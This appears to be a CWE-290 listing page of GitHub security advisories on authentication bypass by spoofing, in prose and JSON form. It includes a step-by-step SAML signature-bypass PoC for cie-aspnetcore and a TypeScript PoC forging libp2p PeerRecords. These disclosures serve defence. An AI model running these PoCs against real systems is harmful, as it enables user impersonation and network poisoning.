Common Weakness Enumeration

CWE-290

Allowed

Authentication Bypass by Spoofing

Abstraction: Base · Status: Incomplete

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.

1201 vulnerabilities reference this CWE, most recent first.

GHSA-VPFG-W257-RQ9F

Vulnerability from github – Published: 2024-12-19 00:37 – Updated: 2024-12-26 21:30

Details

An IDOR vulnerability in the manage-notes.php module in PHPGurukul Online Notes Sharing Management System v1.0 allows unauthorized users to delete notes belonging to other accounts due to missing authorization checks. This flaw enables attackers to delete another user's information.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-55232"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-18T22:15:07Z",
    "severity": "MODERATE"
  },
  "details": "An IDOR vulnerability in the manage-notes.php module in PHPGurukul Online Notes Sharing Management System v1.0 allows unauthorized users to delete notes belonging to other accounts due to missing authorization checks. This flaw enables attackers to delete another user\u0027s information.",
  "id": "GHSA-vpfg-w257-rq9f",
  "modified": "2024-12-26T21:30:36Z",
  "published": "2024-12-19T00:37:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55232"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CV1523/CVEs/blob/main/CVE-2024-55232.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VQ63-8F72-F486

Vulnerability from github – Published: 2025-02-18 19:25 – Updated: 2025-02-18 19:25

Summary

AspNetCore Remote Authenticator for CIE3.0 Allows SAML Response Signature Verification Bypass

Details

Description

Authentication using Spid and CIE is based on the SAML2 standard which provides for two entities:

Identity Provider (IdP): the system that authenticates users and provides identity information ( SAML assertions ) to the Service Provider, essentially, it is responsible for managing user credentials and identity; Service Provider (SP): The system that provides a service to the user and relies on the Identity Provider to authenticate the user, receives SAML assertions from the IdP to grant access to resources. The library cie-aspnetcorerefers to the second entity, i.e. the SP, and implements the validation logic of the SAML assertions present within the SAML response . The following is a summary diagram of an authentication flow via SAML:

As shown in the diagram, the IdP, after verifying the user's credentials, generates a signed SAML response, this is propagated to the SP by the user's browser and the SP, after verifying the signature, can extract the data needed to build the user's session.

The signature validation logic is central as it ensures that you cannot craft a SAML response with arbitrary assertions and thus impersonate other users.

The following is the validation code implemented in cie-aspnetcore.

internal static bool VerifySignature(XmlDocument signedDocument, IdentityProvider? identityProvider = null){
    //...SNIP...
    SignedXml signedXml = new SignedXml(signedDocument);
    if (identityProvider is not null)
    {
        bool validated = false;
        foreach (var certificate in identityProvider.X509SigningCertificates){
            var publicMetadataCert = new X509Certificate2(Convert.FromBase64String(certificate));
            XmlNodeList nodeList = (signedDocument.GetElementsByTagName("ds:Signature")?.Count > 1) ?
                                    signedDocument.GetElementsByTagName("ds:Signature") :
                                   (signedDocument.GetElementsByTagName("ns2:Signature")?.Count > 1) ?
                                    signedDocument.GetElementsByTagName("ns2:Signature") :
                                    signedDocument.GetElementsByTagName("Signature");
            signedXml.LoadXml((XmlElement)nodeList[0]);
            validated |= signedXml.CheckSignature(publicMetadataCert, true);
        }
        return validated;
    }
    else{
        XmlNodeList nodeList = (signedDocument.GetElementsByTagName("ds:Signature")?.Count > 0) ?
                               signedDocument.GetElementsByTagName("ds:Signature") :
                               signedDocument.GetElementsByTagName("Signature");
        signedXml.LoadXml((XmlElement)nodeList[0]);
        return signedXml.CheckSignature();
    }
    //...SNIP...
}

The parameter signedDocument contains the SAML response in XML format, while the parameter identityProvider can contain the IdP info. If the parameter identityProvider has been specified, the public certificates of that IdP are extracted, so as to force their use during the signature verification, otherwise the certificates configured within the application are used.

Next, a response envelope is generated nodeList within which all XML elements containing an XML signature of part or all of the SAML response envelope are saved.

Finally, the first element of this list, i.e. the first signature found, is extracted and verified.

In a normal authentication flow, the SAML response looks like this (note that some fields and attributes have been omitted for ease of reading):

<samlp:Response ID="response_id" IssueInstant="2025-01-07T13:37:00Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
    <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
        https://demo.spid.gov.it/validator
    </saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
        <ds:SignedInfo>
            <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
            <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
            <ds:Reference URI="#response_id">
                <ds:Transforms>
                    <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
                </ds:Transforms>
                <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
                <ds:DigestValue>
                    <!-- DIGEST -->
                </ds:DigestValue>
            </ds:Reference>
        </ds:SignedInfo>
        <ds:SignatureValue>
           <!-- SIGNATURE -->
        </ds:SignatureValue>
        <ds:KeyInfo>
            <ds:X509Data>
                <ds:X509Certificate>
                    <!-- CERTIFICATE -->
                </ds:X509Certificate>
            </ds:X509Data>
        </ds:KeyInfo>
    </ds:Signature>
    <samlp:Status>
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
    </samlp:Status>
    <saml:Assertion ID="assertion_id" IssueInstant="2025-01-07T13:37:00Z" Version="2.0" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
            https://demo.spid.gov.it/validator
        </saml:Issuer>
        <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
            <ds:SignedInfo>
                <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
                <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
                <ds:Reference URI="#assertion_id">
                    <ds:Transforms>
                        <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
                    </ds:Transforms>
                    <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
                    <ds:DigestValue>
                        <!-- DIGEST -->
                    </ds:DigestValue>
                </ds:Reference>
            </ds:SignedInfo>
            <ds:SignatureValue>
                <!-- SIGNATURE -->
            </ds:SignatureValue>
            <ds:KeyInfo>
                <ds:X509Data>
                    <ds:X509Certificate>
                        <!-- CERTIFICATE -->
                    </ds:X509Certificate>
                </ds:X509Data>
            </ds:KeyInfo>
        </ds:Signature>
        <saml:AttributeStatement>
            <saml:Attribute Name="spidCode" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
                <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
                    AGID-001
                </saml:AttributeValue>
            </saml:Attribute>
            <!-- ... SNIP ... -->
        </saml:AttributeStatement>
    </saml:Assertion>
</samlp:Response>

The SDK code would get as the first element of the nodeList, that is nodeList[0], the signature referring to the entire SAML response, in fact the reference of the first signature <ds:Reference URI="#response_id"> points to the root object <samlp:Response ID="response_id" ...>. Therefore, verifying this signature will ensure that the entire content of the SAML response is intact and authentic.

However, there is no guarantee that the first signature refers to the root object, so if an attacker injects a signed element as the first element, all other signatures will not be verified. The only requirement is to have a legitimately signed XML element from the IdP, which is easily accomplished using the public metadata of the IdP.

The SAML response would be structured like this:

Impact

An attacker could craft an arbitrary SAML response that would be accepted by SPs using the vulnerable SDKs, allowing him to impersonate any Spid and/or CIE user.

Complexity of the attack

The attacker needs an XML block containing a valid signature from one of the IdPs accepted by the SP. As described above, this requirement is satisfied by reading the public metadata of the IdP which is represented by a signed XML block of the IdP.

Related issues

N/A

PoC

Clone the repository https://github.com/italia/spid-aspnetcore.git
From the root of the project, enter the folder relating to the example webapp: samples/1_SimpleSPWebApp/SPID.AspNetCore.WebApp/
Change the value of the AssertionConsumerServiceURL key in the file appsettings.json to a custom domain: https://$CUSTOM_DOMAIN:$CUSTOM_PORT/signin-spid
Compile and run the sample webapp using the following command, taking care to replace the placeholders with the same values used in step 3: dotnet build "SPID.AspNetCore.WebApp.csproj" -o ./app/build && dotnet publish "SPID.AspNetCore.WebApp.csproj" -o ./app/publish && dotnet ./app/publish/SPID.AspNetCore.WebApp.dll -urls=https://$CUSTOM_DOMAIN:$CUSTOM_PORT
Visit URL: https://$CUSTOM_DOMAIN:$CUSTOM_PORT/
Click "Enter with SPID" > "DemoSpid" (second IdP in the list)
Visit the "Response" > "Check Response" section
Insert the following string into the "Audience" field (right column): https://spid.aspnetcore.it/
Click "Send response to Service Provider", note the redirect to /home/loggedin and consequently the correct execution of the login on the example portal

Repeat steps 5 to 8 inclusive
Intercept the HTTP request generated in step 8 via an HTTP Proxy, such as PortSwigger's BurpSuite
Perform URL-decoding and Base64-decoding of the POST SAMLResponse parameter
Insert the content present at the following URL in the second line of the XML: https://demo.spid.gov.it/metadata.xml
Change the contents of the tag <saml:Assertion>, for example change the email attribute to an arbitrary value: spid.tech@shielder.it
Run Base64-encoding and then URL-encoding the SAMLResponse parameter
Send the request and note the redirect to /home/loggedin which demonstrates the correct identification and therefore also the verification of the arbitrary signature inserted in SAMLResponse despite the modification of the assertion

References

https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html

Credits

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.4"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "CIE.AspNetCore.Authentication"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-24895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-18T19:25:19Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Description\n\nAuthentication using Spid and CIE is based on the SAML2 standard which provides for two entities:\n\nIdentity Provider (IdP): the system that authenticates users and provides identity information ( SAML assertions ) to the Service Provider, essentially, it is responsible for managing user credentials and identity;\nService Provider (SP): The system that provides a service to the user and relies on the Identity Provider to authenticate the user, receives SAML assertions from the IdP to grant access to resources.\nThe library `cie-aspnetcorerefers` to the second entity, i.e. the SP, and implements the validation logic of the SAML assertions present within the SAML response . The following is a summary diagram of an authentication flow via SAML:\n\n![](https://github.com/user-attachments/assets/5b10c8f8-5121-446f-95f8-c0355daa5959)\n\nAs shown in the diagram, the IdP, after verifying the user\u0027s credentials, generates a signed SAML response, this is propagated to the SP by the user\u0027s browser and the SP, after verifying the signature, can extract the data needed to build the user\u0027s session.\n\nThe signature validation logic is central as it ensures that you cannot craft a SAML response with arbitrary assertions and thus impersonate other users.\n\nThe following is the validation code implemented in `cie-aspnetcore`.\n\n```csharp\ninternal static bool VerifySignature(XmlDocument signedDocument, IdentityProvider? identityProvider = null){\n    //...SNIP...\n    SignedXml signedXml = new SignedXml(signedDocument);\n    if (identityProvider is not null)\n    {\n        bool validated = false;\n        foreach (var certificate in identityProvider.X509SigningCertificates){\n            var publicMetadataCert = new X509Certificate2(Convert.FromBase64String(certificate));\n            XmlNodeList nodeList = (signedDocument.GetElementsByTagName(\"ds:Signature\")?.Count \u003e 1) ?\n                                    signedDocument.GetElementsByTagName(\"ds:Signature\") :\n                                   (signedDocument.GetElementsByTagName(\"ns2:Signature\")?.Count \u003e 1) ?\n                                    signedDocument.GetElementsByTagName(\"ns2:Signature\") :\n                                    signedDocument.GetElementsByTagName(\"Signature\");\n            signedXml.LoadXml((XmlElement)nodeList[0]);\n            validated |= signedXml.CheckSignature(publicMetadataCert, true);\n        }\n        return validated;\n    }\n    else{\n        XmlNodeList nodeList = (signedDocument.GetElementsByTagName(\"ds:Signature\")?.Count \u003e 0) ?\n                               signedDocument.GetElementsByTagName(\"ds:Signature\") :\n                               signedDocument.GetElementsByTagName(\"Signature\");\n        signedXml.LoadXml((XmlElement)nodeList[0]);\n        return signedXml.CheckSignature();\n    }\n    //...SNIP...\n}\n```\n\nThe parameter `signedDocument` contains the SAML response in XML format, while the parameter `identityProvider` can contain the IdP info. If the parameter `identityProvider` has been specified, the public certificates of that IdP are extracted, so as to force their use during the signature verification, otherwise the certificates configured within the application are used.\n\nNext, a response envelope is generated nodeList within which all XML elements containing an XML signature of part or all of the SAML response envelope are saved.\n\nFinally, the first element of this list, i.e. the first signature found, is extracted and verified.\n\nIn a normal authentication flow, the SAML response looks like this (note that some fields and attributes have been omitted for ease of reading):\n\n```xml\n\u003csamlp:Response ID=\"response_id\" IssueInstant=\"2025-01-07T13:37:00Z\" Version=\"2.0\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\u003e\n    \u003csaml:Issuer Format=\"urn:oasis:names:tc:SAML:2.0:nameid-format:entity\"\u003e\n        https://demo.spid.gov.it/validator\n    \u003c/saml:Issuer\u003e\n    \u003cds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\"\u003e\n        \u003cds:SignedInfo\u003e\n            \u003cds:CanonicalizationMethod Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/\u003e\n            \u003cds:SignatureMethod Algorithm=\"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256\"/\u003e\n            \u003cds:Reference URI=\"#response_id\"\u003e\n                \u003cds:Transforms\u003e\n                    \u003cds:Transform Algorithm=\"http://www.w3.org/2000/09/xmldsig#enveloped-signature\"/\u003e\n                \u003c/ds:Transforms\u003e\n                \u003cds:DigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\"/\u003e\n                \u003cds:DigestValue\u003e\n                    \u003c!-- DIGEST --\u003e\n                \u003c/ds:DigestValue\u003e\n            \u003c/ds:Reference\u003e\n        \u003c/ds:SignedInfo\u003e\n        \u003cds:SignatureValue\u003e\n           \u003c!-- SIGNATURE --\u003e\n        \u003c/ds:SignatureValue\u003e\n        \u003cds:KeyInfo\u003e\n            \u003cds:X509Data\u003e\n                \u003cds:X509Certificate\u003e\n                    \u003c!-- CERTIFICATE --\u003e\n                \u003c/ds:X509Certificate\u003e\n            \u003c/ds:X509Data\u003e\n        \u003c/ds:KeyInfo\u003e\n    \u003c/ds:Signature\u003e\n    \u003csamlp:Status\u003e\n        \u003csamlp:StatusCode Value=\"urn:oasis:names:tc:SAML:2.0:status:Success\"/\u003e\n    \u003c/samlp:Status\u003e\n    \u003csaml:Assertion ID=\"assertion_id\" IssueInstant=\"2025-01-07T13:37:00Z\" Version=\"2.0\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\u003e\n        \u003csaml:Issuer Format=\"urn:oasis:names:tc:SAML:2.0:nameid-format:entity\"\u003e\n            https://demo.spid.gov.it/validator\n        \u003c/saml:Issuer\u003e\n        \u003cds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\"\u003e\n            \u003cds:SignedInfo\u003e\n                \u003cds:CanonicalizationMethod Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/\u003e\n                \u003cds:SignatureMethod Algorithm=\"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256\"/\u003e\n                \u003cds:Reference URI=\"#assertion_id\"\u003e\n                    \u003cds:Transforms\u003e\n                        \u003cds:Transform Algorithm=\"http://www.w3.org/2000/09/xmldsig#enveloped-signature\"/\u003e\n                    \u003c/ds:Transforms\u003e\n                    \u003cds:DigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\"/\u003e\n                    \u003cds:DigestValue\u003e\n                        \u003c!-- DIGEST --\u003e\n                    \u003c/ds:DigestValue\u003e\n                \u003c/ds:Reference\u003e\n            \u003c/ds:SignedInfo\u003e\n            \u003cds:SignatureValue\u003e\n                \u003c!-- SIGNATURE --\u003e\n            \u003c/ds:SignatureValue\u003e\n            \u003cds:KeyInfo\u003e\n                \u003cds:X509Data\u003e\n                    \u003cds:X509Certificate\u003e\n                        \u003c!-- CERTIFICATE --\u003e\n                    \u003c/ds:X509Certificate\u003e\n                \u003c/ds:X509Data\u003e\n            \u003c/ds:KeyInfo\u003e\n        \u003c/ds:Signature\u003e\n        \u003csaml:AttributeStatement\u003e\n            \u003csaml:Attribute Name=\"spidCode\" NameFormat=\"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\"\u003e\n                \u003csaml:AttributeValue xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"xs:string\"\u003e\n                    AGID-001\n                \u003c/saml:AttributeValue\u003e\n            \u003c/saml:Attribute\u003e\n            \u003c!-- ... SNIP ... --\u003e\n        \u003c/saml:AttributeStatement\u003e\n    \u003c/saml:Assertion\u003e\n\u003c/samlp:Response\u003e\n```\n\nThe SDK code would get as the first element of the `nodeList`, that is `nodeList[0]`, the signature referring to the entire SAML response, in fact the reference of the first signature `\u003cds:Reference URI=\"#response_id\"\u003e` points to the root object `\u003csamlp:Response ID=\"response_id\" ...\u003e`. Therefore, verifying this signature will ensure that the entire content of the SAML response is intact and authentic.\n\nHowever, there is no guarantee that the first signature refers to the root object, so if an attacker injects a signed element as the first element, all other signatures will not be verified. The only requirement is to have a legitimately signed XML element from the IdP, which is easily accomplished using the public metadata of the IdP.\n\nThe SAML response would be structured like this:\n\n![](https://github.com/user-attachments/assets/42b8c97a-96ae-45c9-afed-aab7066201a1)\n\n### Impact\nAn attacker could craft an arbitrary SAML response that would be accepted by SPs using the vulnerable SDKs, allowing him to impersonate any Spid and/or CIE user.\n\n### Complexity of the attack\nThe attacker needs an XML block containing a valid signature from one of the IdPs accepted by the SP. As described above, this requirement is satisfied by reading the public metadata of the IdP which is represented by a signed XML block of the IdP.\n\n### Related issues\nN/A\n\n### PoC\n\n1. Clone the repository https://github.com/italia/spid-aspnetcore.git\n2. From the root of the project, enter the folder relating to the example webapp: `samples/1_SimpleSPWebApp/SPID.AspNetCore.WebApp/`\n3. Change the value of the `AssertionConsumerServiceURL` key in the file `appsettings.json` to a custom domain: `https://$CUSTOM_DOMAIN:$CUSTOM_PORT/signin-spid`\n4. Compile and run the sample webapp using the following command, taking care to replace the placeholders with the same values \u200b\u200bused in step 3: `dotnet build \"SPID.AspNetCore.WebApp.csproj\" -o ./app/build \u0026\u0026 dotnet publish \"SPID.AspNetCore.WebApp.csproj\" -o ./app/publish \u0026\u0026 dotnet ./app/publish/SPID.AspNetCore.WebApp.dll -urls=https://$CUSTOM_DOMAIN:$CUSTOM_PORT`\n5. Visit URL: `https://$CUSTOM_DOMAIN:$CUSTOM_PORT/`\n6. Click \"Enter with SPID\" \u003e \"DemoSpid\" (second IdP in the list)\n7. Visit the \"Response\" \u003e \"Check Response\" section\n8. Insert the following string into the \"Audience\" field (right column): `https://spid.aspnetcore.it/`\n9. Click \"Send response to Service Provider\", note the redirect to  `/home/loggedin` and consequently the correct execution of the login on the example portal\n\n![](https://github.com/user-attachments/assets/af3775a1-5f01-4ffa-9b28-730fef487869)\n\n10. Repeat steps 5 to 8 inclusive\n11. Intercept the HTTP request generated in step 8 via an HTTP Proxy, such as PortSwigger\u0027s BurpSuite\n12. Perform URL-decoding and Base64-decoding of the POST `SAMLResponse` parameter\n13. Insert the content present at the following URL in the second line of the XML: https://demo.spid.gov.it/metadata.xml\n14. Change the contents of the tag `\u003csaml:Assertion\u003e`, for example change the `email` attribute to an arbitrary value: `spid.tech@shielder.it`\n15. Run Base64-encoding and then URL-encoding the `SAMLResponse` parameter\n16. Send the request and note the redirect to `/home/loggedin` which demonstrates the correct identification and therefore also the verification of the arbitrary signature inserted in `SAMLResponse` despite the modification of the assertion\n\n![](https://github.com/user-attachments/assets/a725401f-7884-4910-b4e5-b6c55c1cde83)\n\n### Recommended Solution\n\nVerify all signatures within the SAML response and do not accept unsigned XML elements.\n\n### References\n\n- https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html\n\n### Credits\n- [Abdel Adim `smaury` Oisfi](https://x.com/smaury92) di [Shielder](https://www.shielder.com)\n- [Paolo`paupu` Cavagli\u00e0](https://x.com/paupu_95) di [Shielder](https://www.shielder.com)\n- [Nicola `fromveeko` Davico](https://x.com/fromveeko) di [Shielder](https://www.shielder.com)",
  "id": "GHSA-vq63-8f72-f486",
  "modified": "2025-02-18T19:25:19Z",
  "published": "2025-02-18T19:25:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/italia/cie-aspnetcore/security/advisories/GHSA-vq63-8f72-f486"
    },
    {
      "type": "WEB",
      "url": "https://github.com/italia/cie-aspnetcore/commit/e66b7f336ff5d4c69f95f197f27f3145f2484994"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/italia/cie-aspnetcore"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AspNetCore Remote Authenticator for CIE3.0 Allows SAML Response Signature Verification Bypass"
}

GHSA-VQ77-78V5-MQFP

Vulnerability from github – Published: 2022-05-24 17:01 – Updated: 2022-10-14 19:00

Details

Incorrect implementation in navigation in Google Chrome prior to 78.0.3904.70 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2019-13701"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-11-25T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect implementation in navigation in Google Chrome prior to 78.0.3904.70 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page.",
  "id": "GHSA-vq77-78v5-mqfp",
  "modified": "2022-10-14T19:00:21Z",
  "published": "2022-05-24T17:01:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13701"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2019/10/stable-channel-update-for-desktop_22.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/998284"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00008.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VQJ4-MPGW-JRQV

Vulnerability from github – Published: 2022-07-29 00:00 – Updated: 2022-08-11 00:00

Details

Saia Burgess Controls (SBC) PCD through 2022-05-06 allows Authentication bypass. According to FSCT-2022-0062, there is a Saia Burgess Controls (SBC) PCD S-Bus authentication bypass issue. The affected components are characterized as: S-Bus (5050/UDP) authentication. The potential impact is: Authentication bypass. The Saia Burgess Controls (SBC) PCD controllers utilize the S-Bus protocol (5050/UDP) for a variety of engineering purposes. It is possible to configure a password in order to restrict access to sensitive engineering functionality. Authentication functions on the basis of a MAC/IP whitelist with inactivity timeout to which an authenticated client's MAC/IP is stored. UDP traffic can be spoofed to bypass the whitelist-based access control. Since UDP is stateless, an attacker capable of passively observing traffic can spoof arbitrary messages using the MAC/IP of an authenticated client. This allows the attacker access to sensitive engineering functionality such as uploading/downloading control logic and manipulating controller configuration.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-30319"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-28T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Saia Burgess Controls (SBC) PCD through 2022-05-06 allows Authentication bypass. According to FSCT-2022-0062, there is a Saia Burgess Controls (SBC) PCD S-Bus authentication bypass issue. The affected components are characterized as: S-Bus (5050/UDP) authentication. The potential impact is: Authentication bypass. The Saia Burgess Controls (SBC) PCD controllers utilize the S-Bus protocol (5050/UDP) for a variety of engineering purposes. It is possible to configure a password in order to restrict access to sensitive engineering functionality. Authentication functions on the basis of a MAC/IP whitelist with inactivity timeout to which an authenticated client\u0027s MAC/IP is stored. UDP traffic can be spoofed to bypass the whitelist-based access control. Since UDP is stateless, an attacker capable of passively observing traffic can spoof arbitrary messages using the MAC/IP of an authenticated client. This allows the attacker access to sensitive engineering functionality such as uploading/downloading control logic and manipulating controller configuration.",
  "id": "GHSA-vqj4-mpgw-jrqv",
  "modified": "2022-08-11T00:00:38Z",
  "published": "2022-07-29T00:00:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30319"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-207-03"
    },
    {
      "type": "WEB",
      "url": "https://www.forescout.com/blog"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRF4-MX87-P53W

Vulnerability from github – Published: 2026-09-17 18:01 – Updated: 2026-09-17 18:01

Summary

libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses

Details

Summary

@libp2p/peer-store accepts a signed PeerRecord whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable consumePeerRecord path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped PeerRecord.peerId. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.

Details

The vulnerable code is in packages/peer-store/src/index.ts:

RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options) verifies the envelope signature.
const peerId = peerIdFromCID(envelope.publicKey.toCID()) derives the envelope signer peer ID.
The optional expectedPeer check only compares expectedPeer to the envelope signer.
const peerRecord = PeerRecord.createFromProtobuf(envelope.payload) decodes peerRecord.peerId from attacker-controlled signed payload bytes.
this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true }) stores the addresses under the payload peer ID, not the verified signer peer ID.

The missing invariant is:

peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))

packages/protocol-identify/src/utils.ts already performs this check and can be used as the reference behavior:

if (!peerRecord.peerId.equals(envelopePeer)) {
  throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord')
}

The gossipsub Peer Exchange path reaches this code via packages/gossipsub/src/gossipsub.ts by calling:

peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })

This does not prevent the bug because peer is derived from the wire pi.peerID. An attacker can set pi.peerID to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped PeerRecord.

PoC

// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record'
import { persistentPeerStore } from '@libp2p/peer-store'
import { multiaddr } from '@multiformats/multiaddr'
import { MemoryDatastore } from 'datastore-core/memory'
import { TypedEventEmitter } from 'main-event'

const label = 'Certified peer-record address hijack'

async function main (): Promise<void> {
  const localKey = await generateKeyPair('Ed25519')
  const attackerKey = await generateKeyPair('Ed25519')
  const victimKey = await generateKeyPair('Ed25519')

  const attacker = peerIdFromPrivateKey(attackerKey)
  const victim = peerIdFromPrivateKey(victimKey)
  const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')

  const peerStore = persistentPeerStore({
    peerId: peerIdFromPrivateKey(localKey),
    datastore: new MemoryDatastore(),
    events: new TypedEventEmitter(),
    logger: defaultLogger()
  })

  // Payload claims victim, but the envelope is signed by attacker.
  const forgedRecord = new PeerRecord({
    peerId: victim,
    multiaddrs: [attackerAddr],
    seqNumber: 999999n
  })
  const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)

  // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.
  const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {
    expectedPeer: attacker
  })

  assert.equal(accepted, true)

  const poisonedVictim = await peerStore.get(victim)
  assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({
    multiaddr: multiaddr.toString(),
    isCertified
  })), [{
    multiaddr: attackerAddr.toString(),
    isCertified: true
  }])

  console.log(`${label} reproduced`)
